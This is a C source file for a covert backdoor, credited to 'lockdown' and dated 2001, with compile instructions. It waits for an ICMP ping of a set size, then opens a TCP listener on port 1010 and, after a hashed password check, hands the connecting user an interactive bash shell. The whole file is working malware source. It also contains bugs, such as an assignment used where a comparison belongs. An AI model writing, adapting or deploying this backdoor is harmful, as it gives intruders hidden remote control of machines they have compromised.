/*  Simple ICMP backdoor that spawns a TCP one and it uses encrypted passes
	Author: lockdown
	DATE: February 27th 2001

	compile: gcc icmpdoor.c -o icmpdoor -lcrypt
*/


#include <stdlib.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <errno.h>  
#include <signal.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/time.h>  
#include <sys/socket.h>  
#include <sys/wait.h> 
#include <netinet/in.h>  
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define STARTSERV 74     /* Size of ping data to start tcp server */
#define SERVPORT 1010    /* TCP Port server starts on */
#define BACKLOG 1        /* Number of max users for tcp server */
#define ICMPSIZE 1500
#define MAXLINE 4096

int get_icmp(void);
int start_serv(void);

int main(void)
{
  struct icmp *icmp;
  int icmp_datalen, child;
 
  while(icmp_datalen=get_icmp())
  {
    if(icmp_datalen=STARTSERV)
      child=start_serv();
  }//while
  exit(0);
}//main

int get_icmp()
{
  struct icmp *icmp;
  char recvbuf[ICMPSIZE];
  int rawsock,
      queue_size,
      ip_hdrlen,
      icmp_hdrlen,
      pktlen,
      fromlen,
      len,
      icmp_datalen;
  struct ip *ip;
  struct timeval *tvsent;
  struct sockaddr_in recv_addr;
  
  len=8+56;
  if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
  {
    perror("socket");
    exit(1);
  }/* if */
  queue_size=(56*1024);
  setsockopt(rawsock,SOL_SOCKET,SO_RCVBUF,&queue_size,sizeof(queue_size));
  if((pktlen=recvfrom(rawsock,recvbuf,sizeof(recvbuf),0,
                     (struct sockaddr *)&recv_addr,&fromlen))>0)
  {
    ip=(struct ip *)recvbuf; /*start of ip header*/
    ip_hdrlen=(ip->ip_hl<<2); /*length of ip header*/
    icmp=(struct icmp *)(recvbuf + ip_hdrlen); /*start of icmp header*/
    icmp_datalen=(pktlen-(ip_hdrlen+8)); /*length of icmp data*/
/* debug    printf("read %d bytes\n",pktlen); */
    return icmp_datalen;
   }/* if */
   else
   {
     perror("recvfrom");
     return(1);
   }/* else */
}/* get_icmp */

int start_serv()
{
  char PASSWD[]="$1$salt$NOKKqGd59S.sSKHUDM9ZM/";
  char pass[MAXLINE];
  char salt[]="$1$salt$";
  int listenfd, newfd, i, child,sin_size;
  struct sockaddr_in servaddr,
                     clientaddr;
  char recvbuf[MAXLINE];
  const int on = 1;

  if(child=fork())
    return child;

  if((listenfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  {
    perror("socket");
    exit(1);
  }/* if */
  
  memset(&servaddr,'\0',sizeof(struct sockaddr_in));
  servaddr.sin_family=AF_INET;
  servaddr.sin_port=htons(SERVPORT);
  servaddr.sin_addr.s_addr=INADDR_ANY;

  if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr))==-1)
  {
    perror("bind");
    exit(1);
  }/* if */
  if(listen(listenfd,BACKLOG)==-1)
  {
    perror("listen");
    exit(1);
  }/* if */
  
  while(1)
  {
    sin_size=sizeof(struct sockaddr_in);
    if((newfd=accept(listenfd,(struct sockaddr *)&clientaddr,&sin_size))==-1)
    {
      perror("accept");
      exit(1);
    }/* if */
/* debug    printf("server: got connection from %s\n",inet_ntoa(clientaddr.sin_addr));*/

    if(!fork())
    {
      if(dup2(newfd,0)==-1)
      {
        perror("dup2");
        exit(1);
      }/* if */
      if(dup2(newfd,1)==-1)
      {
        perror("dup2");
        exit(1);
      }/* if */
      if(dup2(newfd,2)==-1)
      {
        perror("dup2");
        exit(1);
      }/* if */
      read(newfd,pass,20);

      /* filter out extra garbage, possible added by telnet */
      for(i=0;pass[i];)
      {
        if(!isprint(pass[i]))
          pass[i]='\0';
        i++;
      }/* for */
      strncpy(pass,(char *)crypt(pass,salt),MAXLINE);

      if(strncmp(PASSWD,pass,strlen(pass))==0)
      {
        if(execl("/bin/bash","bash","-i",NULL)==-1)
        {
          perror("execl");
          exit(1);
        }/* if */
        close(newfd);
      }/* if */
      exit(0);
    }/* if */
    close(newfd);
    while(waitpid(-1,NULL,WNOHANG)>0);
  }/* while */
}/* start_serv */
